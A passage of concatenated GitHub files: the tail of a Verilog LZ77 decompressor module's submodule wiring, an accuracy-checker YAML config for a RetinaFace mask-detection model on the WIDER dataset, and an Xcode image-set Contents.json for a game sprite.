.ptr_128_stb (xp10_decomp_lz77d_stat_events[crPKG::LZ77D_PTR_LEN_128_TOTAL]),
.ptr_64_stb (xp10_decomp_lz77d_stat_events[crPKG::LZ77D_PTR_LEN_64_TOTAL]),
.ptr_32_stb (xp10_decomp_lz77d_stat_events[crPKG::LZ77D_PTR_LEN_32_TOTAL]),
.ptr_11_stb (xp10_decomp_lz77d_stat_events[crPKG::LZ77D_PTR_LEN_11_TOTAL]),
.ptr_10_stb (xp10_decomp_lz77d_stat_events[crPKG::LZ77D_PTR_LEN_10_TOTAL]),
.ptr_9_stb (xp10_decomp_lz77d_stat_events[crPKG::LZ77D_PTR_LEN_9_TOTAL]),
.ptr_8_stb (xp10_decomp_lz77d_stat_events[crPKG::LZ77D_PTR_LEN_8_TOTAL]),
.ptr_7_stb (xp10_decomp_lz77d_stat_events[crPKG::LZ77D_PTR_LEN_7_TOTAL]),
.ptr_6_stb (xp10_decomp_lz77d_stat_events[crPKG::LZ77D_PTR_LEN_6_TOTAL]),
.ptr_5_stb (xp10_decomp_lz77d_stat_events[crPKG::LZ77D_PTR_LEN_5_TOTAL]),
.ptr_4_stb (xp10_decomp_lz77d_stat_events[crPKG::LZ77D_PTR_LEN_4_TOTAL]),
.ptr_3_stb (xp10_decomp_lz77d_stat_events[crPKG::LZ77D_PTR_LEN_3_TOTAL]),
.lz_bytes_decomp (lz_bytes_decomp[16:0]),
.lz_local_bytes (lz_local_bytes[16:0]),
.lz_hb_bytes (lz_hb_bytes[16:0]),
.clk (clk),
.rst_n (rst_n),
.if_ep_sym (if_ep_sym),
.if_ep_sym_valid (if_ep_sym_valid),
.ag_ep_head_moved (ag_ep_head_moved),
.ag_ep_hb_wr (ag_ep_hb_wr),
.bm_ep_copy_done (bm_ep_copy_done),
.pl_ep_prefix_load (pl_ep_prefix_load),
.pl_ep_prefix_cnt (pl_ep_prefix_cnt[16:0]),
.pl_ep_trace_bit (pl_ep_trace_bit),
.bm_ep_pause (bm_ep_pause));
cr_xp10_decomp_lz77_bm bm_inst (
.bm_ep_copy_done (bm_ep_copy_done),
.bm_do_odd_word (bm_do_odd_word[63:0]),
.bm_do_odd_valid (bm_do_odd_valid),
.bm_do_odd_type (bm_do_odd_type[1:0]),
.bm_do_odd_bytes_valid(bm_do_odd_bytes_valid[2:0]),
.bm_do_even_word (bm_do_even_word[63:0]),
.bm_do_even_valid (bm_do_even_valid),
.bm_do_even_type (bm_do_even_type[1:0]),
.bm_do_even_bytes_valid(bm_do_even_bytes_valid[2:0]),
.bm_ep_pause (bm_ep_pause),
.clk (clk),
.rst_n (rst_n),
.ep_bm_lit_valid (ep_bm_lit_valid),
.ep_bm_num_lit (ep_bm_num_lit[1:0]),
.ep_bm_lit_data (ep_bm_lit_data[31:0]),
.ep_bm_ptr_valid (ep_bm_ptr_valid),
.ep_bm_from_offset (ep_bm_from_offset[3:0]),
.ep_bm_to_offset (ep_bm_to_offset[3:0]),
.ag_bm_hb_data (ag_bm_hb_data[127:0]),
.ep_bm_lwrd_valid (ep_bm_lwrd_valid),
.ep_bm_lwl (ep_bm_lwl[5:0]),
.ep_bm_copy_valid (ep_bm_copy_valid),
.ep_bm_copy_offset (ep_bm_copy_offset[4:0]),
.ep_bm_copy_length (ep_bm_copy_length[15:0]),
.ep_bm_eof (ep_bm_eof),
.ep_bm_eof_err_code (ep_bm_eof_err_code[31:0]),
.ep_bm_eob (ep_bm_eob),
.do_bm_pause (do_bm_pause));
cr_xp10_decomp_lz77_do do_inst (
.do_bm_pause (do_bm_pause),
.lz_be_dp_valid (lz_be_dp_valid),
.lz_be_dp_bus (lz_be_dp_bus),
.do_ag_hb_wdata (do_ag_hb_wdata[127:0]),
.do_ag_hb_wr (do_ag_hb_wr),
.clk (clk),
.rst_n (rst_n),
.bm_do_odd_word (bm_do_odd_word[63:0]),
.bm_do_odd_valid (bm_do_odd_valid),
.bm_do_odd_type (bm_do_odd_type[1:0]),
.bm_do_odd_bytes_valid(bm_do_odd_bytes_valid[2:0]),
.bm_do_even_word (bm_do_even_word[63:0]),
.bm_do_even_valid (bm_do_even_valid),
.bm_do_even_type (bm_do_even_type[1:0]),
.bm_do_even_bytes_valid(bm_do_even_bytes_valid[2:0]),
.be_lz_dp_ready (be_lz_dp_ready));
cr_xp10_decomp_lz77_ag ag_inst (
.ag_ep_head_moved (ag_ep_head_moved),
.ag_ep_hb_wr (ag_ep_hb_wr),
.ag_hb_wr (ag_hb_wr),
.ag_hb_waddr (ag_hb_waddr[11:0]),
.ag_hb_wdata (ag_hb_wdata[127:0]),
.ag_hb_rd (ag_hb_rd),
.ag_hb_raddr (ag_hb_raddr[11:0]),
.ag_bm_hb_data (ag_bm_hb_data[127:0]),
.ag_hb_eof (ag_hb_eof),
.ag_pl_eof (ag_pl_eof),
.lz_hb_tail_ptr (lz_hb_tail_ptr[11:0]),
.lz_hb_head_ptr (lz_hb_head_ptr[11:0]),
.clk (clk),
.rst_n (rst_n),
.ep_ag_hb_rd (ep_ag_hb_rd),
.ep_ag_hb_1st_rd (ep_ag_hb_1st_rd),
.ep_ag_hb_num_words (ep_ag_hb_num_words[11:0]),
.do_ag_hb_wr (do_ag_hb_wr),
.do_ag_hb_wdata (do_ag_hb_wdata[127:0]),
.hb_ag_rdata (hb_ag_rdata[127:0]),
.ep_ag_eof (ep_ag_eof),
.pl_ag_load_tail (pl_ag_load_tail),
.pl_ag_tail_ptr (pl_ag_tail_ptr[12:0]));
cr_xp10_decomp_lz77_hb hb_inst (
.bimc_odat (bimc_odat),
.bimc_osync (bimc_osync),
.hb_ag_rdata (hb_ag_rdata[127:0]),
.lz77_hb_ro_uncorrectable_ecc_error_a(lz77_hb_ro_uncorrectable_ecc_error_a),
.lz77_hb_ro_uncorrectable_ecc_error_b(lz77_hb_ro_uncorrectable_ecc_error_b),
.lz77_pfx0_ro_uncorrectable_ecc_error(lz77_pfx0_ro_uncorrectable_ecc_error),
.lz77_pfx1_ro_uncorrectable_ecc_error(lz77_pfx1_ro_uncorrectable_ecc_error),
.lz77_pfx2_ro_uncorrectable_ecc_error(lz77_pfx2_ro_uncorrectable_ecc_error),
.clk (clk),
.rst_n (rst_n),
.ovstb (ovstb),
.lvm (lvm),
.mlvm (mlvm),
.bimc_idat (bimc_idat),
.bimc_isync (bimc_isync),
.bimc_rst_n (bimc_rst_n),
.ag_ep_hb_wr (ag_ep_hb_wr),
.ag_hb_waddr (ag_hb_waddr[11:0]),
.ag_hb_wdata (ag_hb_wdata[127:0]),
.ag_hb_rd (ag_hb_rd),
.ag_hb_raddr (ag_hb_raddr[11:0]),
.ag_hb_eof (ag_hb_eof),
.pl_hb_pfx0_pld_wr (pl_hb_pfx0_pld_wr),
.pl_hb_pfx0_pld_waddr(pl_hb_pfx0_pld_waddr[5:0]),
.pl_hb_pfx0_pld_wdata(pl_hb_pfx0_pld_wdata[127:0]),
.pl_hb_pfx1_pld_wr (pl_hb_pfx1_pld_wr),
.pl_hb_pfx1_pld_waddr(pl_hb_pfx1_pld_waddr[5:0]),
.pl_hb_pfx1_pld_wdata(pl_hb_pfx1_pld_wdata[127:0]),
.pl_hb_pfx2_pld_wr (pl_hb_pfx2_pld_wr),
.pl_hb_pfx2_pld_waddr(pl_hb_pfx2_pld_waddr[5:0]),
.pl_hb_pfx2_pld_wdata(pl_hb_pfx2_pld_wdata[127:0]),
.pl_hb_pfx0_in_use (pl_hb_pfx0_in_use),
.pl_hb_pfx1_in_use (pl_hb_pfx1_in_use),
.pl_hb_pfx2_in_use (pl_hb_pfx2_in_use),
.pl_hb_usr_wr (pl_hb_usr_wr),
.pl_hb_usr_wdata (pl_hb_usr_wdata[127:0]),
.pl_hb_usr_waddr (pl_hb_usr_waddr[11:0]));
cr_xp10_decomp_lz77_pl pl_inst (
.lz_fhp_pre_prefix_ready(lz_fhp_pre_prefix_ready),
.lz_fhp_usr_prefix_ready(lz_fhp_usr_prefix_ready),
.lz_fhp_prefix_hdr_ready(lz_fhp_prefix_hdr_ready),
.pl_hb_pfx0_pld_wr (pl_hb_pfx0_pld_wr),
.pl_hb_pfx0_pld_waddr(pl_hb_pfx0_pld_waddr[5:0]),
.pl_hb_pfx0_pld_wdata(pl_hb_pfx0_pld_wdata[127:0]),
.pl_hb_pfx1_pld_wr (pl_hb_pfx1_pld_wr),
.pl_hb_pfx1_pld_waddr(pl_hb_pfx1_pld_waddr[5:0]),
.pl_hb_pfx1_pld_wdata(pl_hb_pfx1_pld_wdata[127:0]),
.pl_hb_pfx2_pld_wr (pl_hb_pfx2_pld_wr),
.pl_hb_pfx2_pld_waddr(pl_hb_pfx2_pld_waddr[5:0]),
.pl_hb_pfx2_pld_wdata(pl_hb_pfx2_pld_wdata[127:0]),
.pl_hb_usr_wr (pl_hb_usr_wr),
.pl_hb_usr_wdata (pl_hb_usr_wdata[127:0]),
.pl_hb_usr_waddr (pl_hb_usr_waddr[11:0]),
.pl_ep_prefix_cnt (pl_ep_prefix_cnt[16:0]),
.pl_ep_prefix_load (pl_ep_prefix_load),
.pl_ep_trace_bit (pl_ep_trace_bit),
.pl_hb_pfx0_in_use (pl_hb_pfx0_in_use),
.pl_hb_pfx1_in_use (pl_hb_pfx1_in_use),
.pl_hb_pfx2_in_use (pl_hb_pfx2_in_use),
.pl_ag_load_tail (pl_ag_load_tail),
.pl_ag_tail_ptr (pl_ag_tail_ptr[12:0]),
.clk (clk),
.rst_n (rst_n),
.fhp_lz_prefix_valid (fhp_lz_prefix_valid),
.fhp_lz_prefix_dp_bus(fhp_lz_prefix_dp_bus),
.fhp_lz_prefix_hdr_valid(fhp_lz_prefix_hdr_valid),
.fhp_lz_prefix_hdr_bus(fhp_lz_prefix_hdr_bus),
.ag_pl_eof (ag_pl_eof));
endmodule
|
{
"pile_set_name": "Github"
}
|
models:
- name: retinaface-anti-cov
launchers:
- framework: dlsdk
tags:
- FP32
model: public/retinaface-anti-cov/FP32/retinaface-anti-cov.xml
weights: public/retinaface-anti-cov/FP32/retinaface-anti-cov.bin
adapter:
type: retinaface
bboxes_outputs:
- face_rpn_bbox_pred_stride32
- face_rpn_bbox_pred_stride16
- face_rpn_bbox_pred_stride8
scores_outputs:
- face_rpn_cls_prob_reshape_stride32
- face_rpn_cls_prob_reshape_stride16
- face_rpn_cls_prob_reshape_stride8
type_scores_outputs:
- face_rpn_type_prob_reshape_stride32
- face_rpn_type_prob_reshape_stride16
- face_rpn_type_prob_reshape_stride8
- framework: dlsdk
tags:
- FP16
model: public/retinaface-anti-cov/FP16/retinaface-anti-cov.xml
weights: public/retinaface-anti-cov/FP16/retinaface-anti-cov.bin
adapter:
type: retinaface
bboxes_outputs:
- face_rpn_bbox_pred_stride32
- face_rpn_bbox_pred_stride16
- face_rpn_bbox_pred_stride8
scores_outputs:
- face_rpn_cls_prob_reshape_stride32
- face_rpn_cls_prob_reshape_stride16
- face_rpn_cls_prob_reshape_stride8
type_scores_outputs:
- face_rpn_type_prob_reshape_stride32
- face_rpn_type_prob_reshape_stride16
- face_rpn_type_prob_reshape_stride8
datasets:
- name: wider
preprocessing:
- type: resize
size: 640
postprocessing:
- type: cast_to_int
- type: clip_boxes
size: 1024
apply_to: annotation
- type: filter
apply_to: annotation
height_range: 64, 1024
is_empty: True
metrics:
- type: map
prediction_source: mask_detection
ignore_difficult: True
include_boundaries: False
allow_multiple_matches_per_ignored: False
distinct_conf: False
global_definitions: ../dataset_definitions.yml
|
{
"pile_set_name": "Github"
}
|
{
"images" : [
{
"idiom" : "iphone",
"scale" : "1x"
},
{
"idiom" : "iphone",
"filename" : "PlayerBotWalk_12_02_100.png",
"scale" : "2x"
},
{
"idiom" : "iphone",
"filename" : "PlayerBotWalk_12_02_180.png",
"scale" : "3x"
},
{
"idiom" : "ipad",
"filename" : "PlayerBotWalk_12_02_120.png",
"scale" : "1x"
},
{
"idiom" : "ipad",
"filename" : "PlayerBotWalk_12_02_240.png",
"scale" : "2x"
},
{
"idiom" : "tv",
"filename" : "PlayerBotWalk_12_02_169.png",
"scale" : "1x"
},
{
"idiom" : "mac",
"filename" : "PlayerBotWalk_12_02_225.png",
"scale" : "1x"
},
{
"idiom" : "mac",
"scale" : "2x"
}
],
"info" : {
"version" : 1,
"author" : "xcode"
}
}
|
{
"pile_set_name": "Github"
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.